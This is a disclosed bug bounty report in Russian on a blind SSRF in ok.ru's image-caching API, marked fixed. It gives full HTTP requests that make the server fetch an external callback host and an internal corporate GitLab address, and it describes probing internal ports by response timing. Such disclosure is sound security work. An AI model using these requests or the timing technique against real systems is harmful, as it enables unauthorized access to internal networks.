Blind SSRF на ok.ru

Приветствую, нашел blind SSRF
К пример формируем такой запрос:
 POST /web-api/v2/image/cacheUrl HTTP/2
 Host: ok.ru
 Cookie: ...
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate, br
 Referer: https://ok.ru/messages/c70008639564726
 Tkn: nKty3AYnGOTHIN2kgzkqxbTbegStR0QO
 Strd: true
 Strv: V1
 X-Client-Flags: ms:0;dcss:0
 X-Stat-Id: e96167b7-3607-4adb-a550-0783b88072c9
 Ok-Screen: PhotoPickerLayer
 Ok-Prevscreen: userMain
 Content-Type: text/plain;charset=UTF-8
 Content-Length: 140
 Origin: https://ok.ru
 Sec-Fetch-Dest: empty
 Sec-Fetch-Mode: cors
 Sec-Fetch-Site: same-origin
 Te: trailers
 
 {
   "id": 23,
   "parameters": {
     "url": [
      "http://ukiyxn6uefp34upi915olnie258wwvkk.oastify.com/uploads/2015/09/test.jpg"
     ]
   }
 }
В ответ приходит
 {"id":"23","success":true,"result":[{"url":"https://i.mycdn.me/i?r=BGE-xRBBpTUlD7aS-PwC_gmD4r4txuLMEU21uDZ9dtTz73KYTJK8T3H_XTrZiq6yLTAIuB0amtUFXtbZ36TVrQmJGvTrw5tMXYaO3i-48iB7NLv6ScT0VLz3hh4JkmJIKW4"}]}
Переходим по ссылке и ловим отклик в burp collaborator:
картинка же по ссылке - плейсхолдер, так как по ссылке находится html контент
Теперь для доказательства влияния на безопасность, сформируем например такой запрос:
 POST /web-api/v2/image/cacheUrl HTTP/2
 Host: ok.ru
 Cookie: ...
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate, br
 Referer: https://ok.ru/messages/c70008639564726
 Tkn: nKty3AYnGOTHIN2kgzkqxbTbegStR0QO
 Strd: true
 Strv: V1
 X-Client-Flags: ms:0;dcss:0
 X-Stat-Id: e96167b7-3607-4adb-a550-0783b88072c9
 Ok-Screen: PhotoPickerLayer
 Ok-Prevscreen: userMain
 Content-Type: text/plain;charset=UTF-8
 Content-Length: 104
 Origin: https://ok.ru
 Sec-Fetch-Dest: empty
 Sec-Fetch-Mode: cors
 Sec-Fetch-Site: same-origin
 Te: trailers
 X-Bugbounty-Id: fba1acc6-4fbd-4a08-aad7-fe50d80f54f3
 
 {
   "id": 23,
   "parameters": {
     "url": [
       "https://gitlab.corp.mail.ru/favicon.png"
     ]
   }
 }
Итак, прогрузилась иконка корпоративного гитлаба из внутренней сети, а значит запрос успешно прошел
Дополнительно я добавлял различные GET параметры, чтобы убедиться что это не кешированный ответ, результат один и тот же
Так же, если ввести что-то типа https://gitlab.corp.mail.ru:26 то при переходе по ссылке ответ будет значительно долше, что может говорить о том, что порт 23 закрыт
Reward
₽180,000
Odnoklassniki
VK
Report No.: 4475
Created: February 22, 2024, 19:04
Disclosed: July 16, 13:32
Status: Fixed
Type: Vulnerability
Severity:
Medium

Files

Screenshot 2024-02-22 at 21.52.16.png
Comments
By
wellenc_lex_vk
February 22, 2024
By
wellenc_lex_vk
February 22, 2024
By
SergeyNechaev
February 26, 2024
By
SergeyNechaev
February 26, 2024
By
SergeyNechaev
April 11, 2024
By
SergeyNechaev
April 11, 2024
By
cutoffurmind
April 12, 2024
By
wellenc_lex_vk
April 18, 2024
By
wellenc_lex_vk
April 18, 2024